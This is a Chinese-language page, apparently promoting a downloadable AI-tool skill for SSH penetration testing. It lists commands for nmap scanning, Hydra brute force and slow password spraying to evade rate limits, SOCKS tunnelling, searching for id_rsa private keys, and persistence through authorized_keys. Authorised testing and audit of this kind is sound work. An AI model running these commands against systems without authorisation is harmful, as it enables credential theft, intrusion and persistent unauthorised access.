如何进行全面的 SSH 服务渗透测试与安全评估

本技能提供了一套完整的 SSH 安全评估流程,旨在通过服务发现、配置审计、凭据破解及隧道技术,帮助安全人员识别并修复 SSH 服务中的潜在风险。

为什么需要这个技能

SSH 是管理服务器的核心通道,一旦配置不当(如允许弱密码、使用过时加密算法或泄露私钥),将成为攻击者进入内网的直接跳板。

对于高级开发者或安全审计员而言,掌握 SSH 渗透测试不仅是为了寻找漏洞,更是为了验证防御措施(如 Fail2ban、多因素认证)是否生效,确保远程管理通道的绝对安全。

适用场景

  • 执行授权的安全渗透测试或红蓝对抗演习。
  • 对企业内部服务器进行 SSH 配置文件(sshd_config)的安全审计。
  • 在受控环境下验证 SSH 密钥管理流程是否严密。
  • 构建内网穿透或 SOCKS 代理以进行进一步的网络拓扑探测。

核心工作流

1. 服务发现与枚举

首先识别目标网络中的 SSH 服务及其版本。

# 快速扫描 22 端口
nmap -p 22 192.168.1.0/24 --open
# 服务版本检测
nmap -sV -p 22 192.168.1.100
# 枚举支持的算法
nmap -p 22 --script ssh2-enum-algos 192.168.1.100

2. 配置审计

利用 ssh-audit 等工具检查是否存在弱加密算法或过时协议。重点关注:

  • 弱密钥交换算法(如 diffie-hellman-group1-sha1)。
  • 过时的加密算法(如 3des-cbc)。

3. 凭据攻击

针对弱口令进行暴破或密码喷洒(Password Spraying)。

# 使用 Hydra 进行单用户多密码爆破
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
# 避开速率限制的慢速爆破
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100

4. 隧道技术与内网穿透

在获得基础访问权限后,利用 SSH 隧道访问目标内网其他服务。

  • 本地转发:将远程端口映射到本地。
  • 动态转发 (SOCKS Proxy):创建代理用于全网络探测。
# 创建 SOCKS 代理
ssh -D 1080 user@192.168.1.100
# 配置 proxychains 后执行扫描
proxychains nmap -sT -Pn 192.168.1.0/24

5. 后渗透与持久化

进入系统后,搜索敏感私钥文件或通过修改 authorized_keys 实现持久化访问。

# 搜索私钥文件
find / -name "id_rsa" 2>/dev/null
# 将自己的公钥写入授权文件
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys

下载和安装

下载 ssh-penetration-testing 中文版 Skill ZIP

解压后将目录放入你的 AI 工具 skills 文件夹,重启工具后即可使用。具体路径参考内附的 USAGE.zh.md

你可能还需要

暂无推荐